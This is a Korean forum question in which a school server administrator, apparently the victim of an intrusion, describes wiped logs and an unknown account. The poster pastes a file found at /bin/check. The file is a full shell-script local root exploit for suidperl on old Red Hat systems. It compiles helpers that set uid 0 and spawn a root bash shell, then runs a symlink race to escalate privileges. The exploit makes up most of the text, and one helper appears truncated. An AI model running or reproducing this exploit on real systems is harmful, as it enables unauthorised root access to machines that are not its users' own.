적수네 동네 - 질문과 답변 [ 게시물 수정 ]

	>> Edit article


			이름
			제목
			패스워드

도대체 이게 뭘까요?
학교 웹서버에 언 넘이 들어온것 같은데....
로그파일도 거의 다지워지고
모르는 계정도 하나 생기고...
ftp나 telnet도 잘 안되고.. 
telnet에서 su가 안 먹힙니다. 자꾸 incorrect passwd라고만 나오네요.
 /bin 에 check란 이름으로 들어있는 넘인데....
예전에는 없었습니다.  영 찜찜해서리..
아흐 머리아퍼...
서버는 레드햇 6.2입니다. 이참에 서버를 갈아엎어버려?
------------------------------------------------------------------------
# Redhat 6.2 / 6.1 / 6.0 / 5.2
 clear
 echo "Suidperl 5.00503 (and newer) root exploit"
echo "-----------------------------------------"
echo "Written by Michal Zalewski <lcamtuf@dione.ids.pl>"
echo "With great respect to Sebastian Krahmer..."
echo
 SUIDPERL=/usr/bin/suidperl
SUIDBIN=/usr/bin/passwd
 echo "[*] Using suidperl=$SUIDPERL, suidbin=$SUIDBIN..."
 if [ ! -u $SUIDPERL ]; then
  echo "[-] Sorry, $SUIDPERL4 is NOT setuid on this system or"
  echo "    does not exist at all. If there&#039;s +s perl binary available,"
  echo "    please change SUIDPERL variable within exploit code."
  echo
  exit 0
fi
  if [ ! -u $SUIDBIN ]; then
  echo "[-] Sorry, $SUIDBIN is NOT setuid on this system or does not exist at"
  echo "    all. Please pick any other +s binary and change SUIDBIN variable"
  echo "    within exploit code."
  echo
  exit 0
fi
 echo "[+] Checks passed, compiling flares and helper applications..."
echo
 cat >flare <<__eof__
#!/usr/bin/suidperl
 print "Nothing can stop me now...";
 __eof__
 cat >bighole.c <<__eof__
main() {
  setuid(0);
  setgid(0);
  chown("sush",0,0);
__eof__
 cat >sush.c <<__eof__
main() {
  setuid(0);
  setgid(0);
  system("/bin/bash");
}
__eof__
 make bighole sush
 echo
 if [ ! -x ./sush ]; then
  echo "[-] Oops, seems to me I cannot compile helper applications. Either"
  echo "    you don&#039;t have working &#039;make&#039; or &#039;gcc&#039; utility. If possible,"
  echo "    please compile bighole.c and sush.c manually (to bighole and sush)."
  echo
  exit 0
fi
 echo "[+] Setting up environment..."
 chmod 4755 ./flare
 FILENAME=&#039;none
 ~!bighole
 &#039;
export interactive=1
PATH=.:$PATH
 echo "[+] Starting exploit. It could take up to 5 minutes in order to get"
echo "[+] working root shell. WARNING - WARNING - WARNING: it could cause"
echo "[+] heavy system load."
 while :; do
  ( ln -f -s $SUIDBIN "$FILENAME";usleep $RANDOM; nice -n +20 $SUIDPERL ./"$FILENAME" <./flare & ) &>/dev/null
&
  ( usleep $RANDOM ; ln -f -s /dev/stdin "$FILENAME" ) &>/dev/null &
  if [ -u ./sush ]; then
    echo
    echo "[+] VOILA, BABE :-) Entering rootshell..."
    echo
    rm -f "$FILENAME" sush.c bighole bighole.c flare
    ./sush
    echo
    echo "[+] Thank you for using Marchew Industries / dupa.ryba products."
    echo
    rm -f "$FILENAME" sush.c bighole bighole.c flare sush
    exit 0
  fi
done--죽것당... 뭘 알아야지...